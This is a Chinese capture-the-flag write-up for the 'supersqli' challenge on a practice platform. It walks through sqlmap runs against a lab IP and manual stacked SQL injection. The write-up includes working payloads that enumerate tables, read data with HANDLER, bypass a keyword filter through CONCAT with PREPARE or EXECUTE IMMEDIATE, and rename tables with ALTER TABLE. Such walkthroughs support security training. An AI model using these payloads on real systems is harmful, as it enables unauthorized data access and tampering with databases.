2025.1.16——三、supersqli 绕过|堆叠注入|handler查询法|预编译绕过法|修改原查询法

题目来源:攻防世界supersqli

目录

一、打开靶机,整理已知信息

二、sqlmap解题

[step 1:爆数据库](#step 1:爆数据库)

[step 2:爆表](#step 2:爆表)

二、手工注入解题

[step 1:判断注入类型](#step 1:判断注入类型)

[step 2:判断字段数](#step 2:判断字段数)

[step 3:查询数据库](#step 3:查询数据库)

[step 4:使用堆叠注入查数据库、表](#step 4:使用堆叠注入查数据库、表)

1.查数据库

2.查表

3.查列

4.查具体数据

(1)handler查询法

(2)预编译绕过法

(3)修改原查询法

[(4)EXECUTE IMMEDIATE](#(4)EXECUTE IMMEDIATE)


一、打开靶机,整理已知信息

查看源码,发现一句话:用sqlmap是没有灵魂的。所以可以先用sqlmap跑一下,然后尝试手工注入

二、sqlmap解题

step 1:爆数据库

复制代码
python sqlmap.py -u http://61.147.171.105:49439/?inject=1 -dbs

得到数据库名supersqli

step 2:爆表

复制代码
python sqlmap.py -u http://61.147.171.105:49439/?inject=1 -D supersqli --tables

这里没有给出结果,所以sqlmap没办法继续了。到这里只得到数据库名为supersqli

二、手工注入解题

step 1:判断注入类型

键入:1、1''、1' and '1'='1 #

回显正常

键入:1'

报错了

说明此处存在注入点,且为字符型注入

step 2:判断字段数

键入:1 order by 2 #

回显正常

键入:1' order by 3 #

报错了

所以字段数为2

step 3:查询数据库

sql 复制代码
1' union select 1,2 #

显示被过滤掉了

  • select:用于从数据库中查询数据的 SQL 语句关键字。
  • update:用于更新数据库中表的数据的 SQL 语句关键字。
  • delete:用于从数据库表中删除数据的 SQL 语句关键字。
  • drop:用于删除数据库对象(如表、视图等)的 SQL 语句关键字。
  • insert:用于向数据库表中插入新数据的 SQL 语句关键字。
  • where:用于在 SQL 语句中指定查询、更新、删除等操作的条件。
  • i的意思为以上关键字都不区分大小写,意为不能用大小写绕过

所以不能正常的sql注入

step 4:使用堆叠注入查数据库、表

堆叠注入:多条SQL语句用分号隔开,均执行

1.查数据库

sql 复制代码
1';show databases;#

猜测flag在supersqli表里

2.查表

sql 复制代码
1';use supersqli;show tables;#

得到两个表:1919810931114514、words

3.查列

sql 复制代码
1';use supersqli;show columns from `1919810931114514`;#

当表名是纯数字字符串的时候需要加反引号`

看到老朋友flag了

4.查具体数据

前面看到select也被过滤了,所以不能有普通的查询方法

(1)handler查询法

handler语句是MySQL专用语句,可以一行一行的浏览一个表中的数据。

1.句柄(handle)相当于指针,是一个广义的指针

2.命令

(1)打开句柄:handler 表名 open;

(2)查看数据:handler 表名 read first\next; 以此推荐

详情见【MySQL】MySQL 之 handler 的详细使用及说明_mysql handler-CSDN博客

sql 复制代码
1';use supersqli;handler `1919810931114514` open as p;handler p read first;#

第二条命令意为打开1919810931114514并命名为p;第三条意为打开并阅读p中第一条数据

(2)预编译绕过法

预编译绕过法

1.预编译语句是一种预处理SQL语句的技术,允许我们定义和编译SQL语句,在每次执行SQL查询时只需传递参数即可。即SQL查询会被MySQL进行编译依次,然后可以多次执行

select会被过滤,所以要用预编译来绕过过滤

1';

set @sql = CONCAT('sele','ct flag from `1919810931114514`;');

prepare stmt from @sql;

EXECUTE stmt;#

解释:

第二条语句意为使用concat函数拼接为一个完整SQL语句并赋值给变量@sql

第三条语句则为预编译SQL语句:prepare语句用于准备一个SQL语句,将变量@sql中的SQL语句进行预编译,并将编译后的语句命名为stmt

第四条语句即为执行stmt语句

目的为获取flag

set和prepare被strster函数过滤掉了,但该函数不区分大小写,所以修改一下

1';

Set @sql = CONCAT('sele','ct flag from `1919810931114514`;');

Prepare stmt from @sql;

EXECUTE stmt;#

得到flag

(3)修改原查询法

原理就是没有过滤掉alter,可用alter将字段flag改为1,然后查询1,得到flag

先找一下查询1的时候处于哪张表(之前得到有两张表:1919810931114514、words)

sql 复制代码
1';show columns from words;#

可得查询1时默认的数据库就是supersqli,这个在sqlmap中也可得到验证

继续看word表里的字段

sql 复制代码
1';handler words open as a;handler a read next;#

得到一样的信息,所以原查询就在表words的字段id里面

注:这里上下两张表是因为堆叠注入的作用,两个语句都被执行了

修改原查询的核心:1919810931114514表和words表的构成相同,id字段和flag字段对应,int(10)字段和varchar(100)字段对应

所以将表1919810931114514名字改为words,将flag列改为id

payload:

sql 复制代码
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

解释:第三条语句是将表words中flag列名改为id,并将该列的数据类型设置为varchar(50)

(4)EXECUTE IMMEDIATE

execute immediate语句:允许执行动态构建的SQL语句

查询表中字段的值,用execute immediate语句绕过黑名单 select

sql 复制代码
1';execute immediate concat('sele','ct flag from `1919810931114514`') #

原理:字符串拼接,在程序中拼接成完整的SQL语句,不触发黑名单检查

相关推荐
网络抓包与爬虫7 分钟前
Wireshark——抓包分析
websocket·网络协议·tcp/ip·http·网络安全·https·udp
Arbori_262157 分钟前
获取oracle表大小
数据库·oracle
王强你强14 分钟前
MySQL 高级查询:JOIN、子查询、窗口函数
数据库·mysql
草巾冒小子15 分钟前
brew 安装mysql,启动,停止,重启
数据库·mysql
用户62799471826222 分钟前
南大通用GBase 8c分布式版本gha_ctl 命令-HI参数详解
数据库
斯汤雷30 分钟前
Matlab绘图案例,设置图片大小,坐标轴比例为黄金比
数据库·人工智能·算法·matlab·信息可视化
SQLplusDB37 分钟前
Oracle 23ai Vector Search 系列之3 集成嵌入生成模型(Embedding Model)到数据库示例,以及常见错误
数据库·oracle·embedding
喝醉酒的小白1 小时前
SQL Server 可用性组自动种子设定失败问题
数据库
zhu12893035561 小时前
网络安全的重要性与防护措施
网络·安全·web安全
仙女很美哦1 小时前
Flutter视频播放、Flutter VideoPlayer 视频播放组件精要
websocket·网络协议·tcp/ip·http·网络安全·https·udp